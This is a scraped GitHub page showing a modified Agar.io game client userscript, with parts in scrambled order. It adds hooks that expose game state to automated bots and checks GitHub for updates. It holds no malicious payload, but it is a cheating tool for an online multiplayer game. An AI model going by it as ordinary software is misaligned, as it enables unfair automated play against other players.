= r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }) } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, toggleFollow = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["-|0_0|-"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], selectedCell = 0, q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = [-1], ja = [-1], zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE window.getDarkBool = function() { return ta; } window.getMassBool = function() { return lb; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return v; } window.getCells = function() { return E; } window.getPlayer = function() { return k; } window.getWidth = function() { return m; } window.getHeight = function() { return r; } window.getRatio = function() { return h; } window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia[0]; } window.getPointY = function() { return ja[0]; } window.getMouseX = function() { return fa; } window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } window.getMode = function() { return P; } window.setPoint = function(x, y, index) { while (ia.length > getPlayer().length) { ia.pop(); ja.pop(); } if (index < ia.length) { ia[index] = x; ja[index] = y; } else { while (index < ia.length - 1) { ia.push(-1); ja.push(-1); } ia.push(x); ja.push(y); } } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } var ma = 500, eb = -1, fb = -1, z = null, D = 1, ua = null, Ua = function() { var a = Date.now(), b = 1E3 / 60; return function() { d.requestAnimationFrame(Ua); var c = Date.now(), l = c - a; l > b && (a = c - l % b, !T() || 240 > Date.now() - bb ? gb() : console.warn("Skipping draw"), Fb()) } }(), U = {}, ob = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"), Gb = ["8", "nasa"], Hb = ["m'blob"]; Ka.prototype = { V: null, x: 0, y: 0, i: 0, b: 0 }; da.prototype = { id: 0, a: null, name: null, o: null, O: null, x: 0, y: 0, size: 0, s: 0, t: 0, r: 0, J: 0, K: 0, q: 0, ba: 0, Q: 0, sa: 0, ia: 0,
DickDumBR1 / AimSkip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && 